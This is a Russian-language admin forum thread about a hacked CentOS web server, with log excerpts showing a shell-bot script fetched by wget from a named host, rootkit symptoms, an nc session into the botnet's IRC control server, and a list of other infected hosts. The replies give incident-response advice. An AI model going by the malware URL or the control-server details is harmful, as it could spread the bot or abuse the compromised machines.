LINUX.ORG.RU
ФорумAdmin

Взломали сервер, помогите разобраться в уязвимости


0

0

логи messages и secure стерли
Взлом предположительно произошел сегодня в ~11 часов

в логах HTTP есть такое
-------------------------------------------------------------
[Thu Aug 26 03:50:16 2010] [error] [client 109.87.71.111] Attempt to serve directory: /var/www/html/
--11:09:12-- http://lipozor.go.ro/mysql.sock
Resolving lipozor.go.ro... [Thu Aug 26 11:09:13 2010] [error] [client 62.103.39.74] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)
81.196.20.134
Connecting to lipozor.go.ro|81.196.20.134|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29674 (29K) [text/plain]
Saving to: `mysql.sock'

0K .......... .......... ........ 100% 176K=0.2s

11:09:13 (176 KB/s) - `mysql.sock' saved [29674/29674]

--11:13:07-- http://lipozor.go.ro/mysql.sock
Resolving lipozor.go.ro... 81.196.20.134
Connecting to lipozor.go.ro|81.196.20.134|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29674 (29K) [text/plain]
Saving to: `mysql.sock.1'

0K .......... .......... ........ 100% 174K=0.2s

11:13:08 (174 KB/s) - `mysql.sock.1' saved [29674/29674]
-------------------------------------------------------------

Подскажите, что это и как от этого защищаться?

Ответ на: комментарий от TERRANZ

ага, сам, решил вирусню из интернета качнуть :)

Вот этот файлик распознается как вирус моей симантеком: http://lipozor.go.ro/mysql.sock

еще проблема, захожу под рутом в систему, не могу удалить папку /tmp пишет - нет прав, пытался дать пара - пишет не могу.

Как-то урезали права рута...

samson_b ()

Кто-то через уязвимость в HTTP-сервере (кстати - что за сервер и какой версии?) запустил wget и скачал с помощью него скрипт шелл-бота с http://lipozor.go.ro/mysql.sock. Этот скрипт получает команды от злоумышленника через IRC и выполняет их.

Кстати говоря, он в списке процессов (ps, top, htop, etc.) маскируется под «/usr/local/apache/bin/httpd -DSSL», так что проверь, что ничего подобного нет.

Deleted ()
Ответ на: комментарий от samson_b

Как-то урезали права рута...

Хе-хе, значит им таки удалось запустить бота и подсадить через него руткит =).

Deleted ()

И всё-таки расскажи какая у тебя там версия HTTP-сервера.

Хотя в принципе уязвимость может быть и не в нём, а в корявых PHP-скриптах каких-нибудь.

Deleted ()

Во-первых, выруби нахрен свой дырявый HTTP. Если уж его такое старый бот, как DFind взломал, значит, это полное решето.

Во-вторых, останови mysqld и выполни find / -name '*mysql.sock*' -delete

В-третьих, killall -9 httpd

anonymous ()
Ответ на: комментарий от Deleted

Именно так, похоже вы правы

в логах такие вещи появляются:
Aug 26 16:25:36 tookly smbd -D[2367]: error: bind: Address already in use
Aug 26 16:25:36 tookly smbd -D[2367]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:25:36 tookly smbd -D[2380]: error: bind: Address already in use
Aug 26 16:25:36 tookly smbd -D[2380]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:25:36 tookly smbd -D[2392]: error: bind: Address already in use
Aug 26 16:25:36 tookly smbd -D[2392]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:25:36 tookly smbd -D[2405]: error: bind: Address already in use
Aug 26 16:25:36 tookly smbd -D[2405]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:25:36 tookly saslauthd[2410]: detach_tty : master pid is: 2410
Aug 26 16:25:36 tookly saslauthd[2410]: ipc_init : listening on socket: /var/run/saslauthd/mux
Aug 26 16:25:36 tookly smbd -D[2422]: error: bind: Address already in use
Aug 26 16:25:36 tookly smbd -D[2422]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:35:36 tookly saslauthd[2410]: server_exit : master exited: 2410
Aug 26 16:53:14 tookly smbd -D[3846]: error: bind: Address already in use
Aug 26 16:53:14 tookly smbd -D[3846]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 16:53:24 tookly smbd -D[3854]: error: bind: Address already in use
Aug 26 16:53:24 tookly smbd -D[3854]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 18:00:23 tookly automount[2050]: create_udp_client: hostname lookup failed: No such process
Aug 26 18:00:23 tookly automount[2050]: create_tcp_client: hostname lookup failed: No such process
Aug 26 18:00:23 tookly automount[2050]: lookup_mount: exports lookup failed for .message
Aug 26 18:06:51 tookly smbd -D[6849]: error: bind: Address already in use
Aug 26 18:06:51 tookly smbd -D[6849]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.
Aug 26 18:06:56 tookly smbd -D[6907]: error: bind: Address already in use
Aug 26 18:06:56 tookly smbd -D[6907]: fatal: Bind to port 10010 failed: Transport endpoint is not connected.


Версия апача - httpd-2.2.3-5.x86_64.rpm

Список процессов у меня какой-то странный, как буд-то не хватает прав получить весь список:
[root@tookly log]# ps -ef
PID TTY STAT TIME COMMAND
2763 1 S 0:00 /sbin/mingetty tty1 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2764 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2765 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2766 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2770 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2772 6 S 0:00 /sbin/mingetty tty6 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bi
2919 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin:/usr
3848 ? S 0:47 (swapd) HOSTNAME=tookly.ru TERM=xterm SHELL=/bin/bash HISTSIZE=
3856 ? S 0:46 (swapd) HOSTNAME=tookly.ru TERM=xterm SHELL=/bin/bash HISTSIZE=
5107 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin:/usr
9725 ? R 0:00 \_ ps -ef HOSTNAME=tookly.ru TERM=xterm SHELL=/bin/bash HISTSI
6851 ? S 0:28 (swapd) HOSTNAME=tookly.ru TERM=xterm SHELL=/bin/bash HISTSIZE=
6909 ? S 0:23 (swapd) HOSTNAME=tookly.ru TERM=xterm SHELL=/bin/bash HISTSIZE=


samson_b ()

Бгг... Поломали не только топикстартера =):


$ nc 203.153.25.204 6667
NICK tester
: NICK :tester
USER tester 8 * : tststs
:SUNSHINE1 001 tester :Welcome to the My IRC Network tester!tester@****
:SUNSHINE1 002 tester :Your host is SUNSHINE1, running JoinMe141
:SUNSHINE1 003 tester :This server was created Thu Jun 14 at 2001
:SUNSHINE1 004 tester SUNSHINE1 JoinMe141 iswo opsitnmlbvk 
:SUNSHINE1 005 tester SAFELIST MAXBANS=16 NICKLEN=22 CHANTYPES=&# PREFIX=@+ NETWORK=MyNet GREEKLISH:are available on this server 
:SUNSHINE1 251 tester :There are 11 users and 1 services on 1 servers
:SUNSHINE1 252 tester 0 :operator(s) online
:SUNSHINE1 253 tester 10 :unknown connection(s)
:SUNSHINE1 254 tester 2 :channels formed
:SUNSHINE1 255 tester :I have 11 clients, 1 services and 1 servers
:SUNSHINE1 422 tester :MOTD File is missing
JOIN #CASTRAVETE
:tester!tester@***** JOIN :#castravete
:SUNSHINE1 331 tester #castravete 
:SUNSHINE1 353 tester = #castravete :@CORCODEL vn553 vn628 vn923 vn924 vn238 vn108 vn385 tester
:SUNSHINE1 366 tester #castravete :End of /NAMES list.
:tester!tester@***** JOIN :#castravete
:vn628!uLI@64.34.69.169 QUIT :Ping timeout
PING :SUNSHINE1
PONG :SUNSHINE1
WHOIS vn553
:SUNSHINE1 311 tester vn553 I3N delta.he.net * :username @ your flooder ;)
:SUNSHINE1 319 tester vn553 :#castravete 
:SUNSHINE1 312 tester vn553 SUNSHINE1 :
:SUNSHINE1 317 tester vn553 6812 1282852547 :seconds idle, signon time
:SUNSHINE1 318 tester vn553 :End of /WHOIS list.
WHOIS vn923
:SUNSHINE1 311 tester vn923 Gis 64.62.166.194 * :username @ your flooder ;)
:SUNSHINE1 319 tester vn923 :#castravete 
:SUNSHINE1 312 tester vn923 SUNSHINE1 :
:SUNSHINE1 317 tester vn923 6463 1282852561 :seconds idle, signon time
:SUNSHINE1 318 tester vn923 :End of /WHOIS list.
WHOIS vn924
:SUNSHINE1 311 tester vn924 lf4 219.143.46.242 * :username @ your flooder ;)
:SUNSHINE1 319 tester vn924 :#castravete 
:SUNSHINE1 312 tester vn924 SUNSHINE1 :
:SUNSHINE1 317 tester vn924 6199 1282852570 :seconds idle, signon time
:SUNSHINE1 318 tester vn924 :End of /WHOIS list.
WHOIS vn238
:SUNSHINE1 311 tester vn238 E4k 219.163.22.28 * :username @ your flooder ;)
:SUNSHINE1 319 tester vn238 :#castravete 
:SUNSHINE1 312 tester vn238 SUNSHINE1 :
:SUNSHINE1 317 tester vn238 6080 1282852576 :seconds idle, signon time
:SUNSHINE1 318 tester vn238 :End of /WHOIS list.
WHOIS vn108
:SUNSHINE1 311 tester vn108 2xq 219.134.191.99 * :username @ your flooder ;)
:SUNSHINE1 319 tester vn108 :#castravete 
:SUNSHINE1 312 tester vn108 SUNSHINE1 :
:SUNSHINE1 317 tester vn108 1766 1282852582 :seconds idle, signon time
:SUNSHINE1 318 tester vn108 :End of /WHOIS list.
WHOIS vn385
:SUNSHINE1 311 tester vn385 lHA eval.ezxinc.com * :username @ your flooder ;)
:SUNSHINE1 319 tester vn385 :#castravete 
:SUNSHINE1 312 tester vn385 SUNSHINE1 :
:SUNSHINE1 317 tester vn385 1626 1282852590 :seconds idle, signon time
:SUNSHINE1 318 tester vn385 :End of /WHOIS list.
QUIT

Deleted ()
Ответ на: комментарий от samson_b

Не понял, а кого еще поломали?

На IRC-сервере, который указан в шелл-боте, тусуются несколько ботов, выше я привёл лог. Вот они, везунчики:

64.34.69.169
delta.he.net
64.62.166.194
219.143.46.242
219.163.22.28
219.134.191.99
eval.ezxinc.com

Как вернуть права рута? :)

Рекомендую снести всю систему и переустановить с нуля. Это единственный способ, который гарантирует полное уничтожение руткита. Оставь только данные и настройки, но никаких скриптов (удаляй в том числе и вебные PHP-скрипты, если есть).

Deleted ()
Ответ на: комментарий от samson_b

В CentOS 5.4 в дистрибе такая, она достаточно свежая? httpd-2.2.3-31.el5.centos.i386.rpm

По идее да.

И ещё такой вопрос: что у тебя работало под апачем? Какой-нибудь сайт на PHP? Самописный или нет?

Deleted ()
Ответ на: комментарий от Deleted

на сервере серьезный бизнес проект, скриптов и сайтов ДОФИГА, на PHP это что все нужно переделывать? есть бекапы некоторого контента. но не все.

samson_b ()
Ответ на: комментарий от samson_b

на сервере серьезный бизнес проект, скриптов и сайтов ДОФИГА, на PHP это что все нужно переделывать?

В скрипты злоумышленником легко могла быть добавлена какая-нибудь кака, через которую тебя могут снова поломать даже после переустановки остального серверного ПО. Так что все эти скрипты нужно брать из другого источника: у разработчиков, из бекапов и т.п.

есть бекапы некоторого контента. но не все.

Плохо.

Deleted ()

Удалённое логирование в таких случаех было бы очень полезно :)

anton_jugatsu ★★★★ ()

Попробуй find`ом найти все файлы, измененные после 11 утра(или другое время)
их думаю не сильно много выйдет, большую часть можно удалить...ио будут логи итд...ну разумеется многие просмотреть придется

kam ★★ ()
Ответ на: комментарий от Deleted

Наиболее умный совет в топике:

Рекомендую снести всю систему и переустановить с нуля.

Но. Не совсем так. Поставить новую систему на новый диск, старый подмонтировать и перенести данные, предварительно проверив их на вшивость.

Важность данных только усугбляет положение и поэтому крайняя мера в виде отключения сервера и переустановки необходима. Дальнейшее промедление считать неисправимой тупостью.

gorilych ★★ ()
Ответ на: комментарий от Chu

нанять чуваков вычистить свои бирюльки, почему нет? Образ системы снимать прямо сейчас, вытаскивать данные после исправления или во время. Угроза шантажа, конечно, присутствует, но шантаж не должен быть выгоден обеим сторонам. Кому в голову придёт работать с шантажистами?

spunky ★★ ()
Ответ на: комментарий от gorilych

Спасибо всем, при внимательном изучении данных на сервере (о опросе участников проекта), оказалось что многое важное есть в исходниках и переносить их со взломанного сервера не стоит.

Далее, критичная информация бекапилась и бекапы перенесены. Вообщем будет простой работы сервера в выходные, но потери информации - нет.
Система будет переставлена с нуля, хочу поставить CentOS 5.5 (вышел недавно), меня только беспокоит безопасность веб сервера он там версии httpd-2.2.3-43 - это безопасная версия?


samson_b ()
Ответ на: комментарий от samson_b

httpd-2.2.3-43 - это безопасная версия?

Да. Видишь суффикс "-43"? Это номер патчсета. В стабильных серверных дистрибутивах типа RHEL/CentOS и Debian в софт почти никогда не добавляют новые фичи, а только исправляют ошибки и латают дыры. По этому «базовая» версия (в данном случае - 2.2.3) в рамках одной версии дистрибутива почти никогда не растёт, а растёт только номер патчсета, и соответственно на исходники накладываются патчи с исправлениями.

Можешь ради интереса выполнить

rpm -q --changelog httpd | less
и посмотреть что и когда было исправлено.

Deleted ()
Ответ на: комментарий от samson_b

Советую после подъема системы настроить SELinux — в центосе это проще, чем в других дистрах. Задачка не вполне тривиальная, придется погуглить и почитать. Зато при правильной настройке дает очень хорошую защиту от дырявого софта.

Небольшое напутствие: никогда не применяй правила, сгенерированные audit2allow, если не можешь объяснить, что делает _каждая_ строчка.

nnz ★★★★ ()
Ответ на: комментарий от Deleted

Чё за тренд пошёл :)

root@vps:~# iptables -vnL fail2ban-ssh --line-numbers
Chain fail2ban-ssh (1 references)
num   pkts bytes target     prot opt in     out     source               destination
1       12   940 DROP       all  --  *      *       69.59.18.198         0.0.0.0/0
2    22087 1647K RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0

Брутит меня щас этот взломанный хост 69.59.18.198

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Зашёл, а там WebDav server на Centos

Authorization Required

This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.

Apache/2.2.3 (CentOS) Server at 69.59.18.198 Port 80

Бич всех бед — дырявые приложения или слабый пароль root'а:)

anton_jugatsu ★★★★ ()
Ответ на: комментарий от nnz

Советую после подъема системы настроить SELinux — в центосе это проще, чем в других дистрах. Задачка не вполне тривиальная, придется погуглить и почитать. Зато при правильной настройке дает очень хорошую защиту от дырявого софта.

Небольшое напутствие: никогда не применяй правила, сгенерированные audit2allow, если не можешь объяснить, что делает _каждая_ строчка.

Яростно плюсую! Обчитайся про SeLinux. Это надо было сделать с самого начала, раз на сервере столько важной информации и всяких дырявых скриптов/демонов.

ЗЫ. А паранойя не такая плохая штука! :)

temporary ★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.